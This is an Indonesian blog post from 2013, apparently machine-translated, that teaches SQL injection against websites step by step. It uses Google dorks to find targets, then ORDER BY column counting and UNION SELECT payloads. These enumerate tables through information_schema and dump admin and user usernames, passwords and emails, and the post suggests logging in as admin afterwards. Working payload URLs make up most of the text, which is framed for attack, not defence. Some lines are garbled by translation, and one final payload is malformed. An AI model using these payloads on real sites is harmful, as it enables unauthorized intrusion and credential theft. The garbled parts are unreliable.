Rabu, 02 Oktober 2013

Cara hacking menggunakan SQLI injection

1) MENEMUKAN TARGET DAN MENDAPATKAN ADMIN PASSWORD

Pertama kita harus menemukan website target kami untuk melakukan itu Anda dapat menggunakan ini "dorks".
Saya akan memberikan beberapa Dorks sini menyalin siapa pun itu dan paste di google dan pencarian.


inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid=inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id=

2). Periksa kerentanan

Mari kita mengatakan bahwa kita memiliki beberapa situs seperti ini


http://www.site.com/news.php?id=4


Sekarang untuk menguji apakah adalah vulrnable kita menambahkan ke akhir url '
begini

http://www.site.com/news.php?id=4'

adi jika kita mendapatkan beberapa error seperti
"Anda memiliki kesalahan dalam sintaks SQL Anda, periksa manual yang sesuai dengan Anda MySQL Server versi untuk dll benar .."
atau sesuatu yang serupa

yang berarti rentan terhadap sql injection
 


 3). Tentukan jumlah kolom

Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (menceritakan database yang cara memesan hasilnya)
jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.

http://www.site.com/news.php?id=4 order by 1/* <-- no error  
http://www.site.com/news.php?id=4 order by 2/* <-- no error
http://www.site.com/news.php?id=4 order by 3/* <-- no error
http://www.site.com/news.php?id=4 order by 4/*

kesalahan pada order by 4 (kita mendapatkan pesan seperti ini tidak diketahui kolom '4 'in' agar klausul 'atau sesuatu seperti itu)
itu berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
 

4). Periksa fungsi UNION

Dengan persatuan kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus


http://www.site.com/news.php?id=4 union all select 1,2,3/*  


 (kita sudah menemukan bahwa jumlah kolom adalah 3 di bagian 2). )
jika kita melihat beberapa nomor di layar, yaitu 1 atau 2 atau 3 maka UNION bekerja


5). Periksa versi MySQL
 
http://www.site.com/news.php?id=4 serikat semua pilih 1,2,3 / *
 


CATATAN: jika / * tidak bekerja atau Anda mendapatkan beberapa error, kemudian coba - itu komentar dan sangat penting bagi query kita untuk bekerja dengan baik.

Katakanlah bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @ @ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau mirip.

seharusnya terlihat seperti ini

http://www.site.com/news.php?id=4 union all select 1,@@version,3/* 

Anda mendapatkan error "union + campuran ilegal collations (IMPLISIT + yg dpt dipaksa) ..."
saya tidak melihat kertas yang mencakup masalah ini, jadi saya harus menulis itu
apa yang kita butuhkan adalah mengkonversi () fungsi



i.e.

http://www.site.com/news.php?id=4 union all select 1,convert(@@version using latin1),3/*

atau dengan hex ​​() dan unhex ()
 
yaitu

http://www.site.com/news.php?id=4 union all select 1,unhex(hex(@@version)),3/*

dan Anda akan mendapatkan versi MySQL



 
 6). Mendapatkan meja dan nama kolom

baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- nanti saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak table dan nama kolom dalam banyak kasus.

nama tabel umum adalah: user / s, admin / s, member / s ...

nama kolom umum adalah: username, user, usr, user_name, password, lulus, passwd, pwd dll ..


i.e akan

http://www.site.com/news.php?id=4 union all select 1,2,3 from admin/*

(kita lihat nomor 2 pada layar seperti sebelumnya, dan itu bagus)
kita tahu bahwa meja admin ada ...
sekarang untuk memeriksa nama kolom.
 


http://www.site.com/news.php?id=4 union all select 1,username,3 from admin/* 


(jika anda mendapatkan error, kemudian coba nama kolom lainnya)

kita mendapatkan username ditampilkan di layar, misalnya akan admin, atau superadmin dll ..
sekarang untuk memeriksa apakah ada kolom password
 


http://www.site.com/news.php?id=4 union all select 1,password,3 from admin/* 


(jika anda mendapatkan error, kemudian coba nama kolom lainnya)
kita lihat password pada layar di hash atau plain-text, itu tergantung dari bagaimana database diatur

i.e md5 hash, mysql hash, sha1 ...

sekarang kita harus menyelesaikan query untuk terlihat bagus

untuk itu kita dapat menggunakan concat () fungsi (itu bergabung string)
 


i.e

http://www.site.com/news.php?id=4 union all select 1,concat(username,0x3a,password),3 from admin/*

 
Perhatikan bahwa saya menempatkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex usus)

(ada cara lain untuk itu, char (58), nilai ascii untuk:)


http://site.com/news.php?id=4 union all select 1,concat(username,char(58),password),3 from admin/*


sekarang kita akan mendapatkan hasil nama pengguna: sandi pada layar, yaitu admin: admin atau admin: somehash
ketika Anda memiliki ini, Anda bisa login seperti admin atau superuser
jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)
memiliki pengguna i kolom password, jadi contoh akan

http://www.site.com/news.php?id=4 union all select 1,concat(user,0x3a,password),3 from mysql.user/*  

7). MySQL 5

Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan tabel dan nama kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
i.e
 


http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables/*

 
di sini kita mengganti nomor 2 kita dengan table_name untuk mendapatkan tabel pertama dari 
information_schema.tables ditampilkan pada layar. Sekarang kita harus menambahkan LIMIT di akhir query 
untuk daftar semua tabel.
 
i.e
 

 http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

perhatikan bahwa saya menempatkan 0,1 (dapatkan 1 hasil mulai dari 0?)
sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
 
i.e


 
 http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

tabel kedua ditampilkan.
untuk tabel ketiga kami menempatkan batas 2,1
 
i.e


http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 2,1/*


terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, auth_user dll ..

Untuk mendapatkan nama kolom metode adalah sama.

di sini kita menggunakan nama_kolom dan information_schema.columns

metode yang sama seperti di atas sehingga contoh akan


 http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns limit 0,1/*



 kolom pertama diplayed.

yang kedua (kita mengubah batas 0,1 untuk membatasi 1,1)

yaitu.


http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns limit 1,1/*



kolom kedua ditampilkan, jadi tetap incrementing sampai Anda mendapatkan sesuatu seperti

nama pengguna, pengguna, login, password, lulus, passwd dll ..
jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.

http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*


 sekarang kita bisa ditampilkan nama kolom dalam tabel pengguna. Hanya menggunakan LIMIT kita bisa daftar semua kolom dalam tabel pengguna.

Catatan bahwa ini tidak akan bekerja jika tanda kutip ajaib ON.
mari kita mengatakan bahwa kita menemukan colums user, pass, dan email.
sekarang untuk menyelesaikan query untuk menempatkan mereka semua bersama-sama
untuk itu kita menggunakan concat (), i decribe itu sebelumnya.


http://www.site.com/news.php?id=4 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*


 apa yang kita dapatkan di sini adalah pengguna: pass: email dari pengguna meja.
contoh: admin: hash: whatever@blabla.com


Sumber: Wikipedia, Google, forum hack dan lain-lain
Kredit untuk semua orang yang berhak menerimanya




 terimakasih see ya

0 komentar:

Posting Komentar